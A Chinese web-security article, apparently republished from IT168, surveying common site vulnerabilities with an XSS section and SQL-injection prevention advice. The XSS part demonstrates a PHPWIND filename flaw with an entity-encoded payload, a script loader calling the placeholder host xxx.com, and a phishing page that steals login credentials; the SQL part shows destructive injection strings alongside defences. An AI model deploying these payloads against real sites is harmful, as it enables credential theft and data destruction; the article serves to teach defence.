网站安全实践:对预防SQL注入的几点建议

安全 数据安全
当你打开百度新闻搜索“黑客”关键字时能看到什么?没错,有太多知名的网站被黑客攻破,有太多牛X的IT系统对黑客来说如入无人之境……

当你打开百度新闻搜索“黑客”关键字时能看到什么?没错,有太多知名的网站被黑客攻破,有太多牛X的IT系统对黑客来说如入无人之境……

进入WEB2.0时代,我们的IT当真变得如此脆弱了吗?记得在一次有关安全的研讨会上,有专家谈到了这样的观点:互联网在设计之初,也没能预想到互联网会发展成现在的庞大规模,如果互联网依然只应用于教育网、科研网,就不会有这么多的问题,难道我们真得需要在重新织一张网?虽然这只是一种假设,也可能是未来创新的一个星星之火,但在现阶段,还是让我们收回思想的翅膀,来解决实际中的问题吧!

网站安全在经历了2011年底的泄密门之后,得到了各方面的重视,互联网企业开始重新审视自身的安全性、安全厂商开始更多的关注这方面的问题并推出了相应的解决方案、政府也在从法律法规方面对网站安全进行了相关的规定(未证实消息:中国的萨班斯法案在今年也将出台)。

近日,小编从国内知名的漏洞报告平台WooYun.org上得到了以下几张图,图中标注的是各企业网站所存在的漏洞类型和造成系统漏洞的主要原因:

网站安全实践:对预防SQL注入的几点建议

从上图我们可以不难找出企业网站存在安全风险的几个同共点:XSS跨站脚本攻击、SQL注入漏洞、后台弱口令、系统/服务运维配置不当以及系统/服务补丁不及时……下面我们就从这主要的几点开始和大家一起探讨:

1、 XSS跨站脚本攻击

上图所列出的互联网企业有门户网站、行业网站、视频网站、旅游网站等,从不同类型的网站我们可以看出,XSS跨站脚本攻击是黑客使用最普遍的攻击方式,这里我们为大家整理了XSS跨站脚本攻击的原理,希望能对大家有帮助。

小白一下:XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。

跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里介绍一种新式攻击方法:XSS Phishing(跨站脚本钓鱼攻击),利用这种方式可以直接盗取用户的密码,下面我就拿最近PHPWIND论坛所暴出的XSS做一下演示,PHPWIND对上传文件名没有处理严格,导致可以写入跨站脚本。

先做一个简单的测试,发一篇新帖,在附件中随意写入一个本地路径加带“<” 和“>”的文件名,如图一

网站安全实践:对预防SQL注入的几点建议

发帖成功后我们会发现,帖子附件名已经没有了,如图二

网站安全实践:对预防SQL注入的几点建议

我们查看当前页面的源代码会发现已经写到页面内,如图三

网站安全实践:对预防SQL注入的几点建议

当然要写入脚本,PHPWIND还是做了限制,文件名中出现"(","/"字符将会被过滤,不过可以利用HTML转码的方式绕过这个限制,如转换成

<TABLE BACKGROUND=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>

这样我们已经实现了跨站脚本的写入,关键是怎么实现攻击,这一处跨站脚本漏洞进行了HTML转码,我们不方便写入过长的内容,那么就加载一个JS文件,动态创建一个script标记,代码如下:

<TABLE BACKGROUND=javascript:s=document.createElement("script");s.src="http://xxx.com/xss.js";document.body.appendChild(s);>

OK,到了这一步我们就可以在JS中任意构造我们的攻击代码,攻击的思路是当用户访问帖子,利用脚本清空当前页面,然后重新写成钓鱼页面。

首先我们可以实验一下,javacript有一个小特性,延时输出将会清空当前页面所有的内容,代码如下:

function Phish(){

info = "我是来钓鱼的!"

document.write(info);

}

function doit(){

setTimeout("Phish()", 1000 );

}doit()

如图四,帖子页面的代码和内容全变成了“我是来钓鱼的!”

网站安全实践:对预防SQL注入的几点建议

 

想一想,如果我们把info变量的内容变成HTML代码会怎样,如图五

网站安全实践:对预防SQL注入的几点建议

嘿嘿,邪恶一点!我们完全可以把页面变成一个自己操纵的登录页面,将表单的值指向远程服务器上的程序,如图六

网站安全实践:对预防SQL注入的几点建议

然后远程服务器上的程序将接受表单POST的用户和密码,当然我们可以做巧妙点,让其访问后又转跳回论坛首页,代码如下:

网站安全实践:对预防SQL注入的几点建议

最后我们便完成了钓鱼的过程,管理员访问我们的帖子,马上重写当前页面,设置一个重新登录的陷阱,盗取用户名和密码,全部过程只在没有察觉的一瞬间.

这类攻击方式危害很大,文中的原始代码只是描叙一下思路,有很多破绽,当然如果你够邪恶的话,完全可以自己重写代码,钓鱼于无形之中。

提醒一下,跨站脚本不仅仅是简单的挂马,XSS Phishing(跨站脚本钓鱼攻击)只是一个简单的开始!

2、 SQL注入漏洞

SQL注入漏洞的产生原因是网站程序在编写时,没有对用户输入数据的合法性进行判断,导致应用程序存在安全隐患。SQL注入漏洞攻击的就是利用现有应用程序没有对用户输入数据的合法性进行判断,将恶意的SQL命令注入到后台数据库引擎执行的黑客攻击手段。

下面总结了一位开发者对预防SQL注入的几点建议:

开发者的观点:SQL注入攻击的本质是让客户端传递过去的字符串变成SQL语句,而且能够被执行;每个程序员都必须肩负起防止SQL注入攻击的责任。

说起防止SQL注入攻击,感觉很郁闷,这么多年了大家一直在讨论,也一直在争论,可是到了现在似乎还是没有定论。当不知道注入原理的时候会觉得很神奇,怎么就被注入了呢?会觉得很难预防。但是当知道了注入原理之后预防不就是很简单的事情了吗?

第一次听说SQL注入攻击的时候还是在2004年(好像得知的比较晚),那是还是在写asp呢。在一次写代码的时候,有同事问我,你的这段代码防注入攻击了吗?什么攻击?这是什么呀。后来到网上各种找,终于弄明白了是怎么攻击进来的了。注入攻击都是来自于客户端,无论是表单提交、URL传值还是Cookie等,其实原理都是一样的。到了服务器端可以分成三种情况:数字、日期时间、字符串。

(1)、数字。

如何注入?

假设我们要实现一个显示新闻的页面,我们可能会随手写下下面的代码:

string id = Request.QueryString["id"];

string sql = "select * from news where ColID=" + id;

如果传递过来的 id是我们想像的 数字(比如168),那么自然不会有什么问题。但是如果传递过来的id是“168 delete from table ”的话,那么sql的值就变成了“select * from table where ColID=168 delete from news”。对于SQL Server来说是支持一次提交多条SQL语句的,这个为我们提供了方便之余也为SQL注入敞开了大门。显然如果这条SQL语句被执行的话,那么news表里的记录就都没有了。

那么如何预防呢?很简单,因为ColID字段的类型是int的,那么我们只需要验证一下传递过来的id是不是整数就可以了。是整数就不存在注入;如果不是那么就有可能存在注入。即使不存在注入,把一个不是整数的id拼接进去也会造成执行错误。所以说不管是不是为了预防SQL注入,也都应该验证id是不是整数。

验证方法嘛,可以用TryParse,可以用正则,也可以自己写函数验证。但是不建议用try异常的方式,因为这个有效率问题。

这里还有一个特殊情况,就是对于批量删除这类的会传递过来多个数字,比如“1,2,3,10”,这个也需要验证一下,万一有人利用这个漏洞呢。至于验证方法也很简单,自己写个函数就ok了。

(2)、日期时间

这个和数字的情况是一样的,验证是不是日期时间即可。

(3)、字符串

最麻烦、争议最大的就是这个了。

先看一下如何注入,比如我们先要按照新闻标题来进行查询,可能写的代码:

string key = txtTitle.Text;

string sql = "select * from news where title like '%" + key + "%'";

这个又是如何注入的呢?我想先问大家一个问题:如果key的值永远都不会包含单引号,那么会不会被注入进来?

那么用了单引号又是如何注入的呢?假设key=" ' delete from news --" ,那么sql的值就是“ select * from news where title like '%' delete from news -- ' ”。

先用一个单引号和前面的单引号组成一对封闭的单引号,这一对单引号内部('%')就作为字符串处理,而外面的就被作为SQL语句处理,而第二个单引号被 “--”给注释掉了,这样就保证了整个sql语句的正确性。

这是注入的一种方法,那么如何来防止呢?想想刚才的问题,如果没有单引号是不是就天下太平了呢?对于这种情况(前面的“数字”的情况不算),到目前为止我是没发现不用单引号,还能够注入进来的方法。也许是我孤陋寡闻吧,不知道各位高手是否知道对于这种情况,不用单引号还能注入进来的方法。

既然找到了罪魁祸首,那么就好办了,把单引号干掉就ok了。key = key.Replace("'", "''");这时候sql的值就是” select * from news where title like '%'' delete from news --'”。

对于SQL 来说在一对单引号内部的两个单引号表示一个字符串形式的单引号。这样我们就把罪魁祸首改造成了字符串了。在一对单引号内的“--”也是普通的字符串而不代表注释。

罪魁祸首是单引号,想不明白为什么有许多人都去过滤 “delete、update”这一类的关键字,他们都是安善良民呀,他们是很冤枉的。当然了,如果前提是程序都已经写好了,不能修改内部代码,那就另当别论了。至于“--”顶多算是帮凶,如果您不放心的话,把他处理了也行。

总结:数字、日期时间的,验证类型;字符串的,处理好单引号。另外为了安全起见,不要用sa连接数据库,xp_cmdshell这一类的有危险的扩展存储过程也应该处理一下(比如删除)。

3、其他需要关注的……

从第一页给出的那张图中,大家也许能看出些不同。没错,有的互联网企业在系统/服务运维方面做的非常好,比如门户网站的百度、腾讯;也有的互联网企业在系统/服务运维上就差劲了许多。关于系统运维,各位都是大牛,小编就不在这里班门弄斧了。

责任编辑:蓝雨泪 来源: IT168
相关推荐

2019-07-09 09:45:32

网站安全搜索引擎DNS

2011-10-19 10:47:56

2011-03-21 15:51:27

SQL执行效率

2009-06-25 09:26:48

2012-12-19 10:36:06

2009-09-23 10:43:22

2012-11-14 17:18:58

2009-03-14 16:50:38

网站安全meter程序

2010-09-16 09:29:02

2018-03-07 12:50:59

Apache优化建议

2021-01-11 09:52:03

JavaSQL框架

2011-10-21 12:19:48

2009-01-12 12:16:34

重复数据删除选购方案

2009-09-28 10:05:00

CCNA学习建议CCNA

2009-08-31 14:44:30

2012-02-28 09:49:45

Linux编程建议

2009-03-16 16:00:19

HibernateJ2EE配置

2010-05-26 14:41:38

JavaScript

2010-09-08 13:31:24

2010-12-14 11:30:11

点赞
收藏

51CTO技术栈公众号